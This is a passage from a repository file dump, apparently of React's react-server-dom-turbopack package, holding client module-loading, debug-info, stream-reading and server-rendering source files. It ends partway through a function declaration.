WeakSet();\n\nfunction ignoreReject() {\n  // We rely on rejected promises to be handled by another listener.\n}\n// Start preloading the modules since we might need them soon.\n// This function doesn't suspend.\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<any> {\n  const chunks = metadata[CHUNKS];\n  const promises: Promise<any>[] = [];\n  for (let i = 0; i < chunks.length; i++) {\n    const chunkFilename = chunks[i];\n    const thenable = loadChunk(chunkFilename);\n    if (!loadedChunks.has(thenable)) {\n      promises.push(thenable);\n    }\n\n    if (!instrumentedChunks.has(thenable)) {\n      // $FlowFixMe[method-unbinding]\n      const resolve = loadedChunks.add.bind(loadedChunks, thenable);\n      thenable.then(resolve, ignoreReject);\n      instrumentedChunks.add(thenable);\n    }\n  }\n  if (isAsyncImport(metadata)) {\n    if (promises.length === 0) {\n      return requireAsyncModule(metadata[ID]);\n    } else {\n      return Promise.all(promises).then(() => {\n        return requireAsyncModule(metadata[ID]);\n      });\n    }\n  } else if (promises.length > 0) {\n    return Promise.all(promises);\n  } else {\n    return null;\n  }\n}\n\n// Actually require the module or suspend if it's not yet ready.\n// Increase priority if necessary.\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  let moduleExports = __turbopack_require__(metadata[ID]);\n  if (isAsyncImport(metadata)) {\n    if (typeof moduleExports.then !== 'function') {\n      // This wasn't a promise after all.\n    } else if (moduleExports.status === 'fulfilled') {\n      // This Promise should've been instrumented by preloadModule.\n      moduleExports = moduleExports.value;\n    } else {\n      throw moduleExports.reason;\n    }\n  }\n  if (metadata[NAME] === '*') {\n    // This is a placeholder value that represents that the caller imported this\n    // as a CommonJS module as is.\n    return moduleExports;\n  }\n  if (metadata[NAME] === '') {\n    // This is a placeholder value that represents that the caller accessed the\n    // default property of this if it was an ESM interop module.\n    return moduleExports.__esModule ? moduleExports.default : moduleExports;\n  }\n  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {\n    return moduleExports[metadata[NAME]];\n  }\n  return (undefined: any);\n}\n\nexport function getModuleDebugInfo<T>(\n  metadata: ClientReference<T>,\n): null | ReactDebugInfo {\n  if (!__DEV__) {\n    return null;\n  }\n  const chunks = metadata[CHUNKS];\n  const debugInfo: ReactDebugInfo = [];\n  let i = 0;\n  while (i < chunks.length) {\n    const chunkFilename = chunks[i++];\n    addChunkDebugInfo(debugInfo, chunkFilename);\n  }\n  return debugInfo;\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactDebugInfo,\n  ReactIOInfo,\n  ReactAsyncInfo,\n} from 'shared/ReactTypes';\n\nexport function loadChunk(filename: string): Promise<mixed> {\n  return __turbopack_load_by_url__(filename);\n}\n\n// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.\nconst chunkIOInfoCache: Map<string, ReactIOInfo> = __DEV__\n  ? new Map()\n  : (null: any);\n\nexport function addChunkDebugInfo(\n  target: ReactDebugInfo,\n  filename: string,\n): void {\n  if (!__DEV__) {\n    return;\n  }\n  let ioInfo = chunkIOInfoCache.get(filename);\n  if (ioInfo === undefined) {\n    let href;\n    try {\n      // $FlowFixMe\n      href = new URL(filename, document.baseURI).href;\n    } catch (_) {\n      href = filename;\n    }\n    let start = -1;\n    let end = -1;\n    let byteSize = 0;\n    // $FlowFixMe[method-unbinding]\n    if (typeof performance.getEntriesByType === 'function') {\n      // We may be able to collect the start and end time of this resource from Performance Observer.\n      const resourceEntries = performance.getEntriesByType('resource');\n      for (let i = 0; i < resourceEntries.length; i++) {\n        const resourceEntry = resourceEntries[i];\n        if (resourceEntry.name === href) {\n          start = resourceEntry.startTime;\n          end = start + resourceEntry.duration;\n          // $FlowFixMe[prop-missing]\n          byteSize = (resourceEntry.transferSize: any) || 0;\n        }\n      }\n    }\n    const value = Promise.resolve(href);\n    // $FlowFixMe\n    value.status = 'fulfilled';\n    // Is there some more useful representation for the chunk?\n    // $FlowFixMe\n    value.value = href;\n    // Create a fake stack frame that points to the beginning of the chunk. This is\n    // probably not source mapped so will link to the compiled source rather than\n    // any individual file that goes into the chunks.\n    const fakeStack = new Error('react-stack-top-frame');\n    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {\n      // Looks like V8\n      fakeStack.stack =\n        'Error: react-stack-top-frame\\n' +\n        // Add two frames since we always trim one off the top.\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)\\n' +\n        '    at Client Component Bundle (' +\n        href +\n        ':1:1)';\n    } else {\n      // Looks like Firefox or Safari.\n      // Add two frames since we always trim one off the top.\n      fakeStack.stack =\n        'Client Component Bundle@' +\n        href +\n        ':1:1\\n' +\n        'Client Component Bundle@' +\n        href +\n        ':1:1';\n    }\n    ioInfo = ({\n      name: 'script',\n      start: start,\n      end: end,\n      value: value,\n      debugStack: fakeStack,\n    }: ReactIOInfo);\n    if (byteSize > 0) {\n      // $FlowFixMe[cannot-write]\n      ioInfo.byteSize = byteSize;\n    }\n    chunkIOInfoCache.set(filename, ioInfo);\n  }\n  // We could dedupe the async info too but conceptually each request is its own await.\n  const asyncInfo: ReactAsyncInfo = {\n    awaited: ioInfo,\n  };\n  target.push(asyncInfo);\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactDebugInfo} from 'shared/ReactTypes';\n\nexport function loadChunk(filename: string): Promise<mixed> {\n  return __turbopack_load_by_url__(filename);\n}\n\nexport function addChunkDebugInfo(\n  target: ReactDebugInfo,\n  filename: string,\n): void {\n  // We don't emit any debug info on the server since we assume the loading\n  // of the bundle is insignificant on the server.\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ModuleLoading = null;\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  chunks: mixed,\n  nonce: ?string,\n) {\n  // In the browser we don't need to prepare our destination since the browser is the Destination\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {preinitScriptForSSR} from 'react-client/src/ReactFlightClientConfig';\n\nexport type ModuleLoading = null | {\n  prefix: string,\n  crossOrigin?: 'use-credentials' | '',\n};\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  // Chunks are single-indexed filenames\n  chunks: Array<string>,\n  nonce: ?string,\n) {\n  if (moduleLoading !== null) {\n    for (let i = 0; i < chunks.length; i++) {\n      preinitScriptForSSR(\n        moduleLoading.prefix + chunks[i],\n        nonce,\n        moduleLoading.crossOrigin,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  DebugChannelCallback,\n  FindSourceMapURLCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  processStringChunk,\n  close,\n  injectIntoDevTools,\n} from 'react-client/src/ReactFlightClient';\n\nimport {processReply} from 'react-client/src/ReactFlightReplyClient';\n\nexport {\n  createServerReference,\n  registerServerReference,\n} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype CallServerCallback = <A, T>(string, args: A) => Promise<T>;\n\nexport type Options = {\n  callServer?: CallServerCallback,\n  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n};\n\nfunction createDebugCallbackFromWritableStream(\n  debugWritable: WritableStream,\n): DebugChannelCallback {\n  const textEncoder = new TextEncoder();\n  const writer = debugWritable.getWriter();\n  return message => {\n    if (message === '') {\n      writer.close();\n    } else {\n      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.\n      // Therefore, we can't report errors from this write back to the Response object.\n      if (__DEV__) {\n        writer.write(textEncoder.encode(message + '\\n')).catch(console.error);\n      }\n    }\n  };\n}\n\nfunction createResponseFromOptions(options: void | Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback:\n            options.debugChannel.writable !== undefined\n              ? createDebugCallbackFromWritableStream(\n                  options.debugChannel.writable,\n                )\n              : null,\n        }\n      : undefined;\n\n  return createResponse(\n    null,\n    null,\n    null,\n    options && options.callServer ? options.callServer : undefined,\n    undefined, // encodeFormAction\n    undefined, // nonce\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromUniversalStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n): void {\n  // This is the same as startReadingFromStream except this allows WebSocketStreams which\n  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially\n  // always allow streams with variable chunk types.\n  const streamState = createStreamState(response, stream);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    if (value instanceof ArrayBuffer) {\n      // WebSockets can produce ArrayBuffer values in ReadableStreams.\n      processBinaryChunk(response, streamState, new Uint8Array(value));\n    } else if (typeof value === 'string') {\n      // WebSockets can produce string values in ReadableStreams.\n      processStringChunk(response, streamState, value);\n    } else {\n      processBinaryChunk(response, streamState, value);\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromUniversalStream(\n      response,\n      options.debugChannel.readable,\n      handleDone,\n    );\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options?: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromUniversalStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n\nif (__DEV__) {\n  injectIntoDevTools();\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  Response as FlightResponse,\n  FindSourceMapURLCallback,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  processReply,\n  createServerReference as createServerReferenceImpl,\n} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: any,\n  callServer: any,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(id, noServerCall);\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  serverConsumerManifest: ServerConsumerManifest,\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Edge client we only support a single-direction debug channel.\n  debugChannel?: {readable?: ReadableStream, ...},\n};\n\nfunction createResponseFromOptions(options: Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback: null,\n        }\n      : undefined;\n\n  return createResponse(\n    options.serverConsumerManifest.moduleMap,\n    options.serverConsumerManifest.serverModuleMap,\n    options.serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options.encodeFormAction,\n    typeof options.nonce === 'string' ? options.nonce : undefined,\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel.readable, handleDone);\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport type {Readable} from 'stream';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processStringChunk,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nexport * from './ReactFlightDOMClientEdge';\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Node.js client we only support a single-direction debug channel.\n  debugChannel?: Readable,\n};\n\nfunction startReadingFromStream(\n  response: Response,\n  stream: Readable,\n  onEnd: () => void,\n): void {\n  const streamState = createStreamState(response, stream);\n\n  stream.on('data', chunk => {\n    if (typeof chunk === 'string') {\n      processStringChunk(response, streamState, chunk);\n    } else {\n      processBinaryChunk(response, streamState, chunk);\n    }\n  });\n\n  stream.on('error', error => {\n    reportGlobalError(response, error);\n  });\n\n  stream.on('end', onEnd);\n}\n\nfunction createFromNodeStream<T>(\n  stream: Readable,\n  serverConsumerManifest: ServerConsumerManifest,\n  options?: Options,\n): Thenable<T> {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {hasReadable: true, callback: null}\n      : undefined;\n\n  const response: Response = createResponse(\n    serverConsumerManifest.moduleMap,\n    serverConsumerManifest.serverModuleMap,\n    serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n\n  if (__DEV__ && options && options.debugChannel) {\n    let streamEndedCount = 0;\n    const handleEnd = () => {\n      if (++streamEndedCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel, handleEnd);\n    startReadingFromStream(response, stream, handleEnd);\n  } else {\n    startReadingFromStream(response, stream, close.bind(null, response));\n  }\n\n  return getRoot(response);\n}\n\nexport {createFromNodeStream};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/react-flight-dom-client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/react-flight-dom-client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientEdge';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/react-flight-dom-client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientNode';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {ClientManifest} from './ReactFlightServerConfigTurbopackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightTurbopackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  turbopackMap: ClientManifest,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    turbopackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nfunction 